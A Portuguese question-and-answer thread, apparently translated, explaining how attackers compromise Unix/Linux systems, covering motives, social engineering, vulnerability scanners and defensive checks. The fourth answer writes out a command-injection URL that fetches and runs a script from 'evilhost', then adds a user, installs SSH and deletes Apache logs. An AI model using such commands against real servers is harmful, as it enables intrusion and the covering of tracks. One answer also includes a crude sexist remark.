Como exatamente as pessoas “quebram” sistemas Unix / Linux?

Question

Não, eu não estou querendo me tornar um cracker ou algo assim, mas estou tentando descobrir o processo (mais de uma perspectiva de programação).

Então, supondo que (adivinhando) o objetivo principal de um cracker é obter acesso root para instalar qualquer software (ou script) que ele tenha escrito corretamente? ou talvez instalar seu próprio módulo kernal (isso é desonesto por qualquer motivo) Como exatamente uma pessoa faz isso?

Eu sei que as pessoas usam scripts para checar exploits ...... mas eu não vejo como, e eu também não vejo exatamente o que eles fazem com eles quando os encontram? Eles estão checando versões de exploits conhecidos ...... e então uma vez que eles encontrarem um .......

Eu sei que tudo isso soa muito novo. mas estou apenas tentando ter uma idéia de como isso funciona, já que sei que os sistemas Linux / Unix devem ser muito seguros, mas estou tentando descobrir como alguém iria até mesmo (o processo) de obter acesso root.

    

Answer 1

Existem inúmeras razões pelas quais alguém pode tentar comprometer a segurança de um sistema. Em traços largos:

• Para usar os recursos do sistema (por exemplo, enviar spam, retransmitir tráfego)
• Para obter informações sobre o sistema (por exemplo, obter dados de clientes de um site de comércio eletrônico).
• Para alterar informações no sistema (por exemplo, desfigurar um site, inserir informações falsas, remover informações)

Apenas algumas vezes essas coisas exigem acesso root. Por exemplo, inserir uma consulta de pesquisa malformada em um site que não limpe adequadamente a entrada do usuário pode revelar informações do banco de dados do site, como nomes de usuário / senhas, endereços de email, etc.

Muitos criminosos de computador são apenas "crianças de script"; ou seja, pessoas que não entendem realmente a segurança de sistemas e podem nem mesmo codificar, mas executar explorações escritas por outras pessoas. Estes são geralmente muito facilmente defendidos porque eles não têm a capacidade de se adaptar; eles estão limitados a explorar vulnerabilidades conhecidas. (Embora possam usar botnets - grandes grupos de computadores comprometidos - o que pode significar um perigo de ataques DDoS.)

Para o invasor habilidoso, o processo é mais ou menos assim:

1. Descubra qual é o objetivo e qual é o objetivo. Segurança - mantendo-a ou comprometendo-a - é um cálculo de risco / recompensa. Quanto mais arriscado e mais caro for o caso, mais atraente será a recompensa para que um ataque valha a pena.

2. Considere todas as partes móveis que afetam qualquer objetivo - por exemplo, se você quiser enviar spam, você poderá atacar o servidor de e-mail, mas talvez faça mais sentido ir atrás de um serviço de rede diferente, pois tudo o que você realmente precisa é usar a conexão de rede do alvo. Se você quiser dados do usuário, você começaria a olhar para o servidor de banco de dados, o webapp e o servidor da Web que têm a capacidade de acessá-lo, o sistema que faz o backup, etc.

   Nunca desconsidere o fator humano. Proteger um sistema de computador é muito mais fácil do que garantir o comportamento humano. Conseguir alguém para revelar informações que não deveriam, ou executar códigos que não deveriam, é fácil e eficaz. Na faculdade, ganhei uma aposta com um amigo que envolvia invadir sua rede corporativa segura, vestindo uma roupa reveladora e encontrando um vice-presidente lascivo - a experiência técnica de meu amigo superava em muito a minha, mas nada supera o poder de um 17yo co-ed em uma saia curta!

   Se você não tem peitos, considere oferecer um jogo sem sentido ou algo que os idiotas baixem por diversão sem considerar o que realmente poderia estar fazendo.

3. Veja cada parte identificada e considere o que ela pode fazer e como isso pode ser ajustado para fazer o que você quer - talvez o suporte técnico reconfigure as senhas dos usuários com frequência sem identificar corretamente o chamador, e chamá-los de confusos vai te dar a senha de outra pessoa. Talvez o webapp não esteja verificando o que é colocado na caixa de pesquisa para garantir que não seja um código antes de colocá-lo em uma função que ele executa. Compromissos de segurança geralmente começam com algo propositadamente exposto que pode ser feito para se comportar de uma maneira que não deveria.

Answer 2

O maior fator é o tipo de acesso que o invasor tem. Se eles tiverem acesso físico, você está ferrado. Se você está preocupado apenas com o acesso remoto, então depende do que você está executando; boa configuração é tudo. Um servidor linux padrão provavelmente estaria rodando ftp, ssh, http, https e mysql. O SSH é seguro, mas eu não permitiria logins de raiz, e uma boa senha em todas as contas é uma obrigação. FTP é imprevisível. Se você tem VSFTP e chroot seus usuários, então é muito seguro. Várias outras versões possuem vulnerabilidades conhecidas. O HTTP provavelmente será sua área mais vulnerável. Sua maior preocupação aqui é qualquer coisa que execute arquivos no sistema ou faça o upload de arquivos para o sistema. A injeção de SQL é MUITO DIFÍCIL se seu site é feito em PHP5. Um grupo de estudantes de segurança e eu tentamos injeções de SQL em um site PHP5 não-ananizado por semanas e não obtivemos sucesso. Com o MySQL, certifique-se de usar um usuário não-root e restrinja-o a efetuar login apenas a partir do seu servidor Apache.

Há alguns plug-ins do Firefox para testar as vulnerabilidades do site: me acesse, xss me e sql me injetem

Algumas coisas importantes que sempre faria em competições para garantir a segurança seriam:

• netstat - verifique portas e conexões abertas,
• w - quem está logado, há quanto tempo
• Verificar registros de logins,
• bash history para comandos executados,
• ps - executando comandos,
• /etc/passwd para usuários extras
• /etc/sudoers para acesso ao sudo.

Normalmente, depois de obter acesso, um invasor quer ganhar raiz. Atualmente, existem algumas vulnerabilidades de escalonamento de privilégios que permitiriam que um usuário normal ganhasse raiz. Depois disso, eles querem abri-lo para acesso posterior, adicionando usuários e abrindo portas dos fundos.

Aqui está o site de defesa cibernética da minha escola. Sinta-se à vontade para procurar e fazer algumas perguntas: link

    

Answer 3

A segurança de um sistema depende das habilidades do (s) administrador (es), então é meio errado dizer que "os sistemas Linux / Unix devem ser muito seguros":)

Agora, sobre hacking ... Há um tipo de ferramenta chamada " scanner de vulnerabilidades " como Nessus que procura coisas para serem exploradas. Há milhares de coisas que podem dar errado em um sistema complexo, como um servidor Apache mal configurado para permitir o upload de arquivos arbitrários para lugares arbitrários. Esses podem servir como um trampolim para outras explorações, como obter acesso a um banco de dados ou uma conta de e-mail a partir da qual as senhas podem ser restauradas por meio do recurso "esquecer senha".

Às vezes, um hack é ganhar acesso e fazer algo mal. Às vezes as pessoas fazem isso por diversão (o que é bobo, a propósito).

E, aqui está uma história de um famoso hack que aconteceu recentemente. Eu acho que será ilustrativo para quem está olhando para a segurança! Para citar um resumo das façanhas:

A Web application with SQL injection flaws and insecure passwords. Passwords that were badly chosen. Passwords that were reused. Servers that allowed password-based authentication. Systems that weren't patched. And an astonishing willingness to hand out credentials over e-mail, even when the person being asked for them should have realized something was up.

    

Answer 4

Existem tantos vetores de ataque que são quase infinitos. Um dos mais simples conceitualmente é disponibilizar publicamente um programa e dizer que ele faz algo diferente do que realmente faz. Dê instruções amigáveis aos usuários com sudo no início e observe o mundo crescer. Isso acontece todos os dias com programas de código fechado, já que é inviável para uma única pessoa inspecionar seu funcionamento de antemão, como visto, por exemplo, em CDs da Sony .

Você também pode tentar enviar strings especiais para um host remoto. Para um exemplo de alto nível, digamos que você tenha um servidor web com algum software rodando nele, e esse software execute parte da URL como um comando sem escapar ou garantindo que não possa fazer nada prejuízo. Envie algo como http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh . Decodificado, a string de pesquisa se torna foo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.sh . Se isso for executado, o script.sh será executado com os mesmos direitos de acesso que o usuário do servidor da Web para fazer qualquer coisa na máquina. Às vezes, as pessoas deixam que elas corram como "conveniência", neste caso um sinônimo de preguiça e / ou falta de noção. Mesmo que não seja executado como root, esse script pode executar milhares de testes para outros buracos no software instalado e executar outro comando se encontrar um. Esse último comando poderia, por exemplo, ser useradd blabla; apt-get install openssh; rm /var/log/apache.log , para obter acesso SSH e remover rastros da invasão.

[os comandos foram obviamente simplificados e provavelmente não funcionariam de qualquer maneira. YMMV]